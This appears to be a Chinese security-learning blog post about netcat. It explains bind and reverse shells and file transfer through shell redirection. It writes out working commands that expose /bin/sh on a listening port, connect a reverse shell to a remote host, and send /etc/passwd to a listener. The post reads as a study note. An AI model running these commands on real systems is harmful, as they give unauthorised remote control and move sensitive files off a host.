IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> NC工具—文件传输&shell获取功能 -> 正文阅读

[系统运维]NC工具—文件传输&shell获取功能

NC工具—文件传输&shell获取功能

前言:此文主要对NC(NETCAT)工具的文件传输SHELL获取功能进行学习记录,不对工具简介和基本功能进行赘述,可参考我的另一篇文章Web安全工具—nc(瑞士军刀)持续更新

一: 基础知识:

1,文件传输基础知识
linux下的输入重定向"<“和输出重定向”>"介绍
输入重定向:
举例cat < /etc/passwd: 将passwd文件的作为输入重定向给cat命令,其效果相当于cat /etc/passwd
在这里插入图片描述
输出重定向:
举例:ll /etc/passwd > websec.txt:将ll查看的文件信息重定向到文件websec.txt中
在这里插入图片描述
2,shell获取基础支持
正向shell:客户端主动去连接服务端,控制端主动去连接被控制端(通常适用于被控制端存在可以连接的端口)
反向shell:服务端主动连接客户端,被控制端主动连接控制端(通常适用于,服务端的服务端口存在限制,客户端不能直接连接,但是服务端发起连接未作限制的场景)
windows下shell文件路径:/windows/system32/cmd.exe
linux下shell文件路径:/bash/sh
-e参数:程序重定向

二:shell获取

正向shell获取:
服务端监听555端口:nc -lv -p 555 -e /bin/sh
在这里插入图片描述

客户端连接服务端的555端口:nc -nv 192.168.1.4 555
在这里插入图片描述
反向shell获取:和正向shell相反,客户端建立监听端口,服务端进行连接
客户端端监听666端口:nc -lv -p 666
在这里插入图片描述

服务端连接服务端的666端口:nc -nv 192.168.1.123 666 -e /bin/sh
在这里插入图片描述
总结:不管是正向shell还是反向shell,其目的都是客户端控制服务端达到目的,相比正向shell,反向shell的稳定性和利用程度更高。

三:文件传输

原理:nc工具的文件传输原理其实是linux下的输入和输出重定向利用,服务端将监听到的数据输出重定向到文件中,客户端将文件通过输入重定向发送给服务端
举例:
服务端监听333端口,然后将连接到333端口的数据重定向至文件websec中:nc -lv -p 333 > websec
在这里插入图片描述
客户端将/etc/passwd文件输出重定向给连接服务端
在这里插入图片描述
**总结:**不管是客户端传送文件给服务端,还是服务端传送文件给客户端,其利用的原理都是linux下的输出和输入重定向,但是需要了解的是这里的输入和输出重定向都是覆盖性的,如果需要增量添加则需要选择">>“和”<<"。

参考学习文章:

nc基础使用和简介
Netcat、PowerCat用法详解

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-04-04 12:51:11  更:2022-04-04 12:52:44 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 22:24:57-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码